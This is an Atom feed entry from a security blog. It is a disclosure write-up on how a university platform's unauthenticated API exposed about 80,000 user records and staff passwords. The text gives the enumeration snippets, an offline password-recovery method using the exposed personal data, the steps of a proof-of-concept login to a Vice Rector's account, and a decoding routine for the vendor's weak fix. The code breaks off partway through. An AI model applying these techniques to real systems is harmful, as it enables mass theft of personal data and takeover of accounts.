<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://hoangphi01.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://hoangphi01.github.io/" rel="alternate" type="text/html" /><updated>2026-06-24T02:52:13+00:00</updated><id>https://hoangphi01.github.io/feed.xml</id><title type="html">PHAM Hoang Phi</title><subtitle>Portfolio &amp; Security Blog</subtitle><author><name>PHAM Hoang Phi</name></author><entry xml:lang="en"><title type="html">Part 2: From 900 to 80,000 – How a University’s Entire Network Was Left Wide Open</title><link href="https://hoangphi01.github.io/blog/2026/06/13/en-universityx-inhouse-network-leaked-J0194R/" rel="alternate" type="text/html" title="Part 2: From 900 to 80,000 – How a University’s Entire Network Was Left Wide Open" /><published>2026-06-13T00:00:00+00:00</published><updated>2026-06-13T00:00:00+00:00</updated><id>https://hoangphi01.github.io/blog/2026/06/13/en-universityx-inhouse-network-leaked-J0194R</id><content type="html" xml:base="https://hoangphi01.github.io/blog/2026/06/13/en-universityx-inhouse-network-leaked-J0194R/"><![CDATA[<div style="border: 2px solid #2d8a2d; border-radius: 24px; padding: 16px 24px; margin: 1.5em auto; max-width: 700px; background: #f0faf0;">
  <p style="margin: 0; font-weight: bold; color: #2d8a2d;"><svg xmlns="http://www.w3.org/2000/svg" height="20px" viewBox="0 -960 960 960" width="20px" fill="#2d8a2d" style="vertical-align: text-bottom; margin-right: 4px;"><path d="m438-338 226-226-57-57-169 169-84-84-57 57 141 141Zm42 258q-139-35-229.5-159.5T160-516v-244l320-120 320 120v244q0 152-90.5 276.5T480-80Zm0-84q104-33 172-132t68-220v-189l-240-90-240 90v189q0 121 68 220t172 132Zm0-316Z" /></svg>Update (June 23, 2026): Core vulnerability remediated</p>
  <p style="margin: 4px 0 0 0; font-size: 0.9em; color: #333;">Company Y has deployed server-side authentication on the XHR API gateway. Account IDOR and password exposure on this platform are no longer exploitable. <a href="#10-revalidation-update--june-23-2026">See revalidation details below.</a></p>
</div>

<div style="background: linear-gradient(90deg, #2d8a2d 0%, #2d8a2d 1%, #c8c820 1%, #c8c820 39%, #e88a1a 39%, #e88a1a 69%, #cc2020 69%, #cc2020 89%, #991a1a 89%, #991a1a 100%); border-radius: 6px; padding: 4px; max-width: 600px; margin: 1.5em auto; position: relative;">
  <div style="display: flex; justify-content: space-between; padding: 0 4px;">
    <span style="color: white; font-size: 0.65em; font-weight: bold;">LOW</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">MEDIUM</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">HIGH</span>
    <span style="color: white; font-size: 0.65em; font-weight: bold;">CRITICAL</span>
  </div>
</div>
<p style="text-align: center; font-weight: bold; font-size: 1.2em; color: #cc1a1a; margin-top: -0.5em;">CVSS 3.1: 9.8 (CRITICAL)</p>
<p style="text-align: center; font-size: 0.95em;">Mass credential exposure + account takeover via unauthenticated API.</p>

<h2 id="summary">Summary</h2>

<p><a href="/blog/2026/03/24/en-universityx-candidate-data-exposure-CNMENU/">Part 1</a> ended with 896 exam candidates’ personal data and national ID card photos exposed through University X’s Testing Center – all built on Company Y’s “Connections” platform. I closed that report with a question I could not shake: if the exam system had zero access controls, what about the university’s <em>main</em> platform running on the exact same infrastructure?</p>

<p>I went looking. The answer was far worse than I imagined.</p>

<p>University X operates <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code> – its central in-house network, also built on Company Y’s Connections SaaS. This is not a side portal. It is the platform that holds every student, every alumnus, every staff member, every faculty – the university’s entire digital population in one place. Using the same techniques from Part 1 – unauthenticated API calls and sequential ID enumeration – I extracted <strong>80,053 user accounts</strong>. Each one contained up to 40 fields of personal data.</p>

<p>But the number was not what kept me up that night. It was the <strong>password field</strong>. The API returned staff credentials – some in plaintext, others masked with a trivial algorithm that could be reversed using data from the <em>same API response</em>. Of 554 accounts with exposed passwords, I obtained 208 usable credentials – 50 read directly in plaintext, 158 recovered offline – without a single login attempt.</p>

<p>To prove the severity, I logged into a Vice Rector’s account. No bruteforce. No exploit. I read a field and typed it into the login form. That was it.</p>

<h2 id="1-introduction">1. Introduction</h2>

<h3 id="11-recap-part-1">1.1. Recap: Part 1</h3>

<p>If you haven’t read <a href="/blog/2026/03/24/en-universityx-candidate-data-exposure-CNMENU/">Part 1</a>, here’s the short version. I investigated <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>, the Testing Center’s exam registration system, and found:</p>

<ul>
  <li><strong>896 candidates’ PII</strong> extracted via unauthenticated API</li>
  <li><strong>CCCD numbers and ID card photos</strong> accessible to any visitor</li>
  <li><strong>Root cause</strong>: Company Y’s Connections platform enforces zero server-side authentication</li>
</ul>

<p>The platform’s architecture was the problem – not a single misconfigured endpoint. Every table, every field, every uploaded file was accessible to anyone who knew (or guessed) the right object ID.</p>

<h3 id="12-the-natural-next-question">1.2. The Natural Next Question</h3>

<p>The Testing Center was a relatively small deployment: a few hundred candidates per exam cycle. But University X’s presence on the Connections platform extended far beyond exams.</p>

<p>The university also operates <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code> – its central in-house network, holding accounts for every student, staff member, and faculty across the entire institution. Same vendor. Same JavaScript framework. Same <code class="language-plaintext highlighter-rouge">cdn.companyy.com</code> scripts. Same architecture.</p>

<p>If the exam system leaked data for 896 people, what would the main university network expose?</p>

<p>I had to find out.</p>

<h3 id="13-scope-and-ethics">1.3. Scope and Ethics</h3>

<p>The same ethical principles from Part 1 apply:</p>

<ul>
  <li>All data access used publicly available, unauthenticated endpoints.</li>
  <li>No authentication was bypassed – because none existed.</li>
  <li>No data was modified, deleted, or shared with third parties.</li>
  <li>No brute-force attacks were performed. Password recovery was done offline using data already exposed by the same API.</li>
  <li>Account takeover was performed once, solely to confirm the vulnerability’s severity, and the session was immediately terminated.</li>
</ul>

<h2 id="2-a-bigger-target-the-university-network">2. A Bigger Target: The University Network</h2>

<h3 id="21-platform-discovery">2.1. Platform Discovery</h3>

<p>I opened <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code> in my browser and looked at the source. There it was – the identical JavaScript framework loading from the same CDN:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://cdn.companyy.com/js/include.core.isj"</span><span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div></div>

<p>The same internal API functions were available: <code class="language-plaintext highlighter-rouge">CAN.db()</code> for database queries, <code class="language-plaintext highlighter-rouge">config()</code> for reading cached responses, and <code class="language-plaintext highlighter-rouge">xửLý()</code> for search operations. The only difference was the data – instead of exam candidates, this platform manages the university’s entire user base.</p>

<p>I already knew this architecture had no locks on the door. Now I just needed to see how much was behind it.</p>

<h3 id="22-mapping-the-account-space">2.2. Mapping the Account Space</h3>

<p>I used the same enumeration technique from Part 1 – iterating through sequential account IDs via <code class="language-plaintext highlighter-rouge">CAN.db()</code>. An initial probe estimated the active range at 7,787–97,744 (89,958 potential IDs). But as the crawl ran, accounts kept appearing well beyond that estimate:</p>

<table>
  <thead>
    <tr>
      <th>Parameter</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Lowest active ID</td>
      <td>7,787</td>
    </tr>
    <tr>
      <td>Highest active ID</td>
      <td>215,212</td>
    </tr>
    <tr>
      <td>Total ID span</td>
      <td>207,426</td>
    </tr>
    <tr>
      <td>Accounts with data</td>
      <td><strong>80,053</strong></td>
    </tr>
  </tbody>
</table>

<p>Over 200,000 potential IDs probed. 80,053 returned complete user records. Every single one – accessible without authentication.</p>

<p>That number hit differently than 896. This was not a corner of the university. This was the entire university.</p>

<h2 id="3-the-crawl-80053-accounts">3. The Crawl: 80,053 Accounts</h2>

<h3 id="31-extraction-method">3.1. Extraction Method</h3>

<p>The technique was identical to Part 1. For each account ID in the range, a single API call retrieved the full record:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span><span class="p">(</span><span class="dl">"</span><span class="s2">taiKhoan.{id}</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="dl">"</span><span class="s2">taiKhoan.{id}</span><span class="dl">"</span><span class="p">);</span>
    <span class="c1">// d now contains all fields for this account</span>
<span class="p">});</span>
</code></pre></div></div>

<p>No tokens. No cookies. No authentication headers. The platform auto-creates an anonymous session (I received session ID <code class="language-plaintext highlighter-rouge">kID=186xxxxx</code>) and serves the data. Just like Part 1 – the database simply answers anyone who asks.</p>

<h3 id="32-two-directions-of-exposure">3.2. Two Directions of Exposure</h3>

<p>The 80,053 accounts were not a single uniform dataset. They split into two very different exposure stories – each with its own severity:</p>

<table>
  <thead>
    <tr>
      <th>Account Category</th>
      <th>Count</th>
      <th>Account Type (loai_tk)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Current students</td>
      <td>21,393</td>
      <td>Type 0</td>
    </tr>
    <tr>
      <td>Alumni / former students</td>
      <td>57,588</td>
      <td>Primarily type 0</td>
    </tr>
    <tr>
      <td>Staff &amp; faculty</td>
      <td>562</td>
      <td>Primarily type 2, with 6 type 1 (admin)</td>
    </tr>
    <tr>
      <td>Companies / partners</td>
      <td>166</td>
      <td>Type 3</td>
    </tr>
    <tr>
      <td>Guests</td>
      <td>344</td>
      <td>Type 3</td>
    </tr>
    <tr>
      <td><strong>Total</strong></td>
      <td><strong>80,053</strong></td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p>The first story is about <strong>78,981 students and alumni</strong> – the sheer mass of personal data exposed. The second is about <strong>562 staff and faculty</strong> – a smaller group, but with a far more dangerous payload: their passwords were in the API response.</p>

<p>Let me walk through each.</p>

<h2 id="4-direction-1-student-and-alumni-exposure--78981-accounts">4. Direction 1: Student and Alumni Exposure – 78,981 Accounts</h2>

<h3 id="41-the-scale">4.1. The Scale</h3>

<p>The vast majority of exposed accounts – 21,393 current students and 57,588 alumni – belonged to people who had studied at University X going back nearly two decades. These were standard accounts (type 0), each containing up to 40 fields of personal data.</p>

<p><img src="/assets/posts/J0194R/2_sample_of_studentacc.png" alt="Sample student account data from API" />
<em>Figure 1: Sample student account record as returned by the unauthenticated API – showing personal data fields including name, date of birth, student ID, and contact information.</em></p>

<h3 id="42-what-was-exposed-for-each-student">4.2. What Was Exposed for Each Student</h3>

<p>Every student record was a personal dossier. Here is how completely the data was filled in:</p>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Filled</th>
      <th>Percentage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Full name (ho_ten)</td>
      <td>80,037</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Student ID (ma_sinh_vien)</td>
      <td>79,448</td>
      <td>99.2%</td>
    </tr>
    <tr>
      <td>Date of birth (ngay_sinh)</td>
      <td>78,637</td>
      <td>98.2%</td>
    </tr>
    <tr>
      <td>Gender (gioi_tinh)</td>
      <td>70,028</td>
      <td>87.5%</td>
    </tr>
    <tr>
      <td>Hometown (que_quan)</td>
      <td>50,042</td>
      <td>62.5%</td>
    </tr>
    <tr>
      <td>Faculty (khoa)</td>
      <td>41,340</td>
      <td>51.6%</td>
    </tr>
    <tr>
      <td>Major (nganh)</td>
      <td>41,226</td>
      <td>51.5%</td>
    </tr>
    <tr>
      <td>Enrollment year (khoa_hoc)</td>
      <td>39,768</td>
      <td>49.7%</td>
    </tr>
    <tr>
      <td>Position/title (chuc_vu)</td>
      <td>36,390</td>
      <td>45.5%</td>
    </tr>
    <tr>
      <td>Email (email)</td>
      <td>29,640</td>
      <td>37.0%</td>
    </tr>
    <tr>
      <td>Phone (sdt)</td>
      <td>23,970</td>
      <td>29.9%</td>
    </tr>
    <tr>
      <td>Ethnicity (dan_toc)</td>
      <td>7,845</td>
      <td>9.8%</td>
    </tr>
    <tr>
      <td>Profile photo (avatar_id)</td>
      <td>6,586</td>
      <td>8.2%</td>
    </tr>
    <tr>
      <td>CCCD number (cmnd_cccd)</td>
      <td>2,750</td>
      <td>3.4%</td>
    </tr>
    <tr>
      <td>Mother’s name</td>
      <td>344</td>
      <td>0.4%</td>
    </tr>
    <tr>
      <td>Father’s name</td>
      <td>333</td>
      <td>0.4%</td>
    </tr>
  </tbody>
</table>

<p>80,037 full names. 78,637 dates of birth. 23,970 phone numbers. 2,750 national ID numbers. And for 333 accounts – even their parents’ names. This was not a list of usernames. It was a complete personal dossier for nearly the entire university population.</p>

<h3 id="43-a-portrait-of-the-student-body">4.3. A Portrait of the Student Body</h3>

<p>The data painted a detailed picture of University X. The 4:1 female-to-male ratio (54,815 female, 13,522 male) reflected the university’s specialization in foreign languages. Enrollment records spanned from K2008 to K2025 – nearly two decades of students, all in one exposed database.</p>

<p>Of the 29,640 email addresses, 20,793 were personal Gmail accounts, while 5,329 used the university’s Microsoft 365 domain. The 68 accounts with <code class="language-plaintext highlighter-rouge">gmai.com</code> and 48 with <code class="language-plaintext highlighter-rouge">gmail.con</code> confirmed this was real, human-entered data – typos and all.</p>

<p>50,042 accounts listed a hometown, heavily concentrated in northern Vietnam – 35.5% from Ha Noi alone. The top faculties were Business Administration &amp; Tourism (5,579), English (5,510), and Chinese (4,422), across 42 unique faculty names and 56 programs.</p>

<p>The full statistical breakdowns – faculties, majors, geographic distribution, demographics – are available in the <a href="#f-detailed-statistical-tables">Appendix</a>.</p>

<h3 id="44-why-this-matters">4.4. Why This Matters</h3>

<p>Student exposure was about volume and depth. Any attacker with a browser could build a dossier on nearly 80,000 people: their name, birthday, phone number, home province, what they study, and when they enrolled. For 2,750 people, their national ID number was exposed too – a piece of data that cannot be changed, ever.</p>

<p>But the students did not have login credentials exposed. That distinction belongs to the second group.</p>

<h2 id="5-direction-2-staff-and-faculty-exposure--562-accounts-with-passwords">5. Direction 2: Staff and Faculty Exposure – 562 Accounts (with Passwords)</h2>

<h3 id="51-a-smaller-group-a-bigger-problem">5.1. A Smaller Group, a Bigger Problem</h3>

<p>The staff and faculty accounts were a fraction of the total – just 562 out of 80,053. But what made them uniquely dangerous was four extra fields that student accounts did not have: <code class="language-plaintext highlighter-rouge">username</code>, <code class="language-plaintext highlighter-rouge">password</code>, <code class="language-plaintext highlighter-rouge">password_unmasked</code>, and <code class="language-plaintext highlighter-rouge">password_type</code>.</p>

<p>The API was returning credentials. Not just personal data – actual login credentials for university staff.</p>

<h3 id="52-the-password-field">5.2. The Password Field</h3>

<p>While mapping the fields returned for staff accounts, one field stopped me cold: <code class="language-plaintext highlighter-rouge">ợ</code>.</p>

<p>For student accounts, this field was empty. For staff and administrative accounts, it contained what appeared to be credentials. I stared at the screen for a moment, not quite believing what I was seeing. The platform was returning <em>passwords</em> in its API response.</p>

<p>Credential data was exposed for 561 accounts across three account types:</p>

<table>
  <thead>
    <tr>
      <th>Account Type</th>
      <th>Accounts with Credentials</th>
      <th>With Password</th>
      <th>With Empty Password</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Staff (type 2)</td>
      <td>547</td>
      <td>546</td>
      <td>1</td>
    </tr>
    <tr>
      <td>Admin (type 1)</td>
      <td>6</td>
      <td>4</td>
      <td>2</td>
    </tr>
    <tr>
      <td>External (type 3)</td>
      <td>8</td>
      <td>4</td>
      <td>4</td>
    </tr>
    <tr>
      <td><strong>Total</strong></td>
      <td><strong>561</strong></td>
      <td><strong>554</strong></td>
      <td><strong>7</strong></td>
    </tr>
  </tbody>
</table>

<p>The 554 accounts with non-empty passwords fell into two categories:</p>

<table>
  <thead>
    <tr>
      <th>Category</th>
      <th>Count</th>
      <th>Format</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Plaintext</td>
      <td>50 (9.0%)</td>
      <td>Raw password string</td>
      <td><code class="language-plaintext highlighter-rouge">mypassword123</code></td>
    </tr>
    <tr>
      <td>Masked</td>
      <td>504 (91.0%)</td>
      <td><code class="language-plaintext highlighter-rouge">first2**last2[length]</code></td>
      <td><code class="language-plaintext highlighter-rouge">xx**xx[13]</code></td>
    </tr>
  </tbody>
</table>

<p>Fifty passwords in cleartext. Just sitting there in the API response. And the other 504? They were “masked” – but as I would soon discover, the masking was barely an obstacle at all.</p>

<p><img src="/assets/posts/J0194R/3_sample_of_staffacc.png" alt="Sample staff account with credential fields" />
<em>Figure 2: A staff account record from the API response – note the credential fields including username and password data, served to an unauthenticated anonymous session.</em></p>

<h3 id="53-the-masking-algorithm">5.3. The Masking Algorithm</h3>

<p>The masked passwords followed a consistent pattern:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>first 2 characters + "**" + last 2 characters + "[" + total length + "]"
</code></pre></div></div>

<p>For example, a masked password like <code class="language-plaintext highlighter-rouge">xx**xx[13]</code> reveals:</p>
<ul>
  <li>Starts with: first 2 characters</li>
  <li>Ends with: last 2 characters</li>
  <li>Total length: 13 characters</li>
  <li>Unknown: only 9 middle characters</li>
</ul>

<p>This is not encryption. It is not hashing. It is a display mask that <em>preserves</em> information about the original password – information that dramatically reduces the search space for recovery.</p>

<p>And that is when I realized something worse.</p>

<h3 id="54-offline-password-recovery">5.4. Offline Password Recovery</h3>

<p>The data needed to guess these passwords was <strong>in the same API response</strong>.</p>

<p>Think about it. Vietnamese users commonly construct passwords from personal information: date of birth, name components, phone numbers. And the API response for each staff account included <em>all of these fields</em> – name, date of birth, phone number, email – right alongside the masked password.</p>

<p>The platform was not just handing out the locked door. It was handing out the key and pointing to which lock it fit.</p>

<p>I wrote an offline dictionary generator that combined:</p>

<ul>
  <li>Date of birth (various formats: <code class="language-plaintext highlighter-rouge">ddmmyyyy</code>, <code class="language-plaintext highlighter-rouge">dmyyyy</code>, <code class="language-plaintext highlighter-rouge">dd/mm/yyyy</code>)</li>
  <li>First name, last name (with Vietnamese diacritics removed)</li>
  <li>Phone number (full and last 4–6 digits)</li>
  <li>Common patterns: <code class="language-plaintext highlighter-rouge">name + dob</code>, <code class="language-plaintext highlighter-rouge">dob + name</code>, <code class="language-plaintext highlighter-rouge">phone + name</code></li>
</ul>

<p>The masked format acted as a validator: a candidate password could be instantly verified if its first 2 characters, last 2 characters, and length matched the mask – no login attempt required. No contact with the server. Entirely offline.</p>

<p>Against 554 exposed passwords, the results:</p>

<table>
  <thead>
    <tr>
      <th>Metric</th>
      <th>Count</th>
      <th>Rate</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Accounts with exposed passwords</td>
      <td>554</td>
      <td>–</td>
    </tr>
    <tr>
      <td>Plaintext (no recovery needed)</td>
      <td>50</td>
      <td>9.0%</td>
    </tr>
    <tr>
      <td>Masked – recovered offline</td>
      <td>158</td>
      <td>28.5%</td>
    </tr>
    <tr>
      <td>Masked – not recovered</td>
      <td>346</td>
      <td>62.5%</td>
    </tr>
    <tr>
      <td><strong>Total usable credentials</strong></td>
      <td><strong>208</strong></td>
      <td><strong>37.5%</strong></td>
    </tr>
  </tbody>
</table>

<p>Recovery method breakdown for the 208 usable credentials:</p>

<table>
  <thead>
    <tr>
      <th>Method</th>
      <th>Count</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Plaintext</td>
      <td>50</td>
      <td>Password stored in cleartext, no recovery needed</td>
    </tr>
    <tr>
      <td>Known plaintext</td>
      <td>63</td>
      <td>Password matched a known common pattern exactly</td>
    </tr>
    <tr>
      <td>Dictionary (unique match)</td>
      <td>78</td>
      <td>Single dictionary candidate matched the mask</td>
    </tr>
    <tr>
      <td>Dictionary (ranked match)</td>
      <td>17</td>
      <td>Multiple candidates matched; correct one identified by rank</td>
    </tr>
  </tbody>
</table>

<p>208 credentials obtained without ever touching the login page. The passwords were not “cracked” in the traditional sense – they were either read in plaintext or reconstructed from biographical data served by the same unauthenticated endpoint.</p>

<h3 id="55-who-were-these-staff-members">5.5. Who Were These Staff Members?</h3>

<p>These were not test accounts or abandoned profiles. The 562 staff accounts in the staff roster included individuals across 35 distinct positions – from academic advisors to department heads:</p>

<table>
  <thead>
    <tr>
      <th>Position</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Academic advisors</td>
      <td>147</td>
    </tr>
    <tr>
      <td>Administrative staff</td>
      <td>110</td>
    </tr>
    <tr>
      <td>Specialists</td>
      <td>71</td>
    </tr>
    <tr>
      <td>Lecturers</td>
      <td>56</td>
    </tr>
    <tr>
      <td>Committee members</td>
      <td>22</td>
    </tr>
    <tr>
      <td>Administrative assistants</td>
      <td>17</td>
    </tr>
    <tr>
      <td>Academic affairs assistants</td>
      <td>17</td>
    </tr>
    <tr>
      <td>Faculty leadership</td>
      <td>14</td>
    </tr>
    <tr>
      <td>Department heads</td>
      <td>12</td>
    </tr>
    <tr>
      <td>Vice department heads</td>
      <td>20</td>
    </tr>
    <tr>
      <td>Other positions (25 types)</td>
      <td>76</td>
    </tr>
  </tbody>
</table>

<p>The PII completeness for staff accounts was striking – 99.6% had usernames, 98.6% had passwords in some form, and 92.9% had email addresses:</p>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Filled</th>
      <th>Of 562</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Username</td>
      <td>560</td>
      <td>99.6%</td>
    </tr>
    <tr>
      <td>Password (any form)</td>
      <td>554</td>
      <td>98.6%</td>
    </tr>
    <tr>
      <td>Email</td>
      <td>522</td>
      <td>92.9%</td>
    </tr>
    <tr>
      <td>Phone</td>
      <td>389</td>
      <td>69.2%</td>
    </tr>
    <tr>
      <td>Date of birth</td>
      <td>333</td>
      <td>59.3%</td>
    </tr>
    <tr>
      <td>CCCD number</td>
      <td>30</td>
      <td>5.3%</td>
    </tr>
    <tr>
      <td>Recovered/plaintext password</td>
      <td>208</td>
      <td>37.0%</td>
    </tr>
  </tbody>
</table>

<h3 id="56-the-irony">5.6. The Irony</h3>

<p>Let me spell out the absurdity of this situation:</p>

<ol>
  <li>The API serves staff passwords (masked or plaintext) to anonymous users.</li>
  <li>The same API serves the personal data needed to recover masked passwords.</li>
  <li>No authentication is required for any of it.</li>
</ol>

<p>The platform hands an attacker both the locked door and the key, then points to the correct door.</p>

<p>At this point, I had 208 working credentials for university staff. I had not logged into anything. I had not interacted with any login form. But I needed to prove that these credentials actually worked – that the theoretical risk was real.</p>

<h2 id="6-account-takeover--proof-of-concept">6. Account Takeover – Proof of Concept</h2>

<h3 id="61-choosing-a-target">6.1. Choosing a Target</h3>

<p>To demonstrate the real-world impact, I selected the highest-privilege account I could identify: a <strong>Vice Rector</strong> of University X. This was account <code class="language-plaintext highlighter-rouge">#xxxx</code>, retrieved via the same unauthenticated API call as every other account:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span><span class="p">(</span><span class="dl">"</span><span class="s2">taiKhoan.xxxx</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="dl">"</span><span class="s2">taiKhoan.xxxx</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">d</span><span class="p">[</span><span class="dl">"</span><span class="s2">a</span><span class="dl">"</span><span class="p">]);</span>   <span class="c1">// username</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">d</span><span class="p">[</span><span class="dl">"</span><span class="s2">ợ</span><span class="dl">"</span><span class="p">]);</span>   <span class="c1">// password</span>
<span class="p">});</span>
</code></pre></div></div>

<p>The API returned the username and a password. For this particular account, the password was recoverable.</p>

<h3 id="62-the-login">6.2. The Login</h3>

<p>The process was absurdly straightforward:</p>

<ol>
  <li>Read the credentials from the API response.</li>
  <li>Navigate to the login page.</li>
  <li>Enter the username and password.</li>
  <li>Press “Login.”</li>
</ol>

<p>That was it. No bruteforce. No password cracking tool. No session hijacking. No exploit. I read a field from an unauthenticated API and typed it into a form.</p>

<p>The login succeeded.</p>

<p>I was now authenticated as a Vice Rector of University X with full administrative access to the platform.</p>

<p><img src="/assets/posts/J0194R/1_uniplatform_after_access.png" alt="Admin platform UI after account takeover" />
<em>Figure 3: The in-house platform’s administrative interface – accessed using a Vice Rector’s credentials read directly from the unauthenticated API response.</em></p>

<h3 id="63-what-was-accessible">6.3. What Was Accessible</h3>

<p>With administrative credentials, the scope of access expanded dramatically:</p>

<ul>
  <li>Full user management capabilities</li>
  <li>Access to internal announcements and communications</li>
  <li>Ability to modify user records</li>
  <li>Access to administrative functions and settings</li>
</ul>

<p>I took a screenshot to document the access, then immediately terminated the session. No actions were taken, no data was modified, and no further exploration was performed under the compromised account. One screenshot was enough. The point was proven.</p>

<h2 id="7-the-fix-that-wasnt">7. The “Fix” That Wasn’t</h2>

<h3 id="71-vendor-response-tecuniversityxvn">7.1. Vendor Response: tec.universityx.vn</h3>

<p>After responsible disclosure in February 2026, Company Y implemented changes to <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code> (the exam system from Part 1). I was cautiously optimistic. The “fix” had two components:</p>

<p><strong>Data-level cleanup:</strong> Some PII fields were emptied for candidate records. Full names, phone numbers, emails, and CCCD numbers were removed from API responses.</p>

<p><strong>Obfuscation layer:</strong> Remaining data was wrapped in a custom Base64 encoding scheme called “b6x.”</p>

<p>The first part was a step in the right direction. The second part was not.</p>

<h3 id="72-the-b6x-encoding-a-9th-century-cipher">7.2. The b6x Encoding: A 9th-Century Cipher</h3>

<p>Before the patch, the API returned plaintext fields:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
    <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Tran Thi Hxxx</span><span class="dl">"</span><span class="p">,</span>       <span class="c1">// First name</span>
    <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">23xxxxxxxx</span><span class="dl">"</span><span class="p">,</span>           <span class="c1">// CCCD number</span>
    <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">09xxxxxxxx</span><span class="dl">"</span><span class="p">,</span>           <span class="c1">// Phone</span>
    <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">hoaixxxx@gmail.com</span><span class="dl">"</span>    <span class="c1">// Email</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After the patch, fields were encoded into a single blob:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
    <span class="dl">"</span><span class="s2">i</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">16xxxxx</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">_5a9fxxxxxxxxxxxxxxxxxxxxxxxxxxxx</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">wqD2xxxxxxxxxxxxxxxxxxxx...</span><span class="dl">"</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This looks encrypted at first glance. It is not. The encoding uses a monoalphabetic substitution cipher – a technique broken since the 9th century (Al-Kindi, <em>Manuscript on Deciphering Cryptographic Messages</em>, circa 850 CE).</p>

<p>The “encryption” is a simple character substitution between two alphabets:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Custom (b6x):  OsCmIBxZDQxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtz0dV:e5vFb
Standard B64:  ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
</code></pre></div></div>

<p>And the decryption function? It ships in the same JavaScript bundle that every browser downloads:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d64</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">v</span><span class="p">,</span> <span class="nx">k</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">switch</span><span class="p">(</span><span class="nx">k</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">x</span><span class="dl">"</span><span class="p">:</span>
            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">v</span><span class="p">)</span> <span class="k">return</span> <span class="dl">""</span><span class="p">;</span>
            <span class="nx">v</span> <span class="o">=</span> <span class="nx">strtr</span><span class="p">(</span><span class="nx">v</span><span class="p">,</span>
                <span class="dl">"</span><span class="s2">OsCmIBxZDQxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtz0dV:e5vFb</span><span class="dl">"</span><span class="p">,</span>
                <span class="dl">"</span><span class="s2">ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=</span><span class="dl">"</span>
            <span class="p">);</span>
            <span class="k">return</span> <span class="nb">decodeURIComponent</span><span class="p">(</span>
                <span class="nx">atob</span><span class="p">(</span><span class="nx">v</span><span class="p">).</span><span class="nx">split</span><span class="p">(</span><span class="dl">""</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">c</span><span class="p">)</span> <span class="p">{</span>
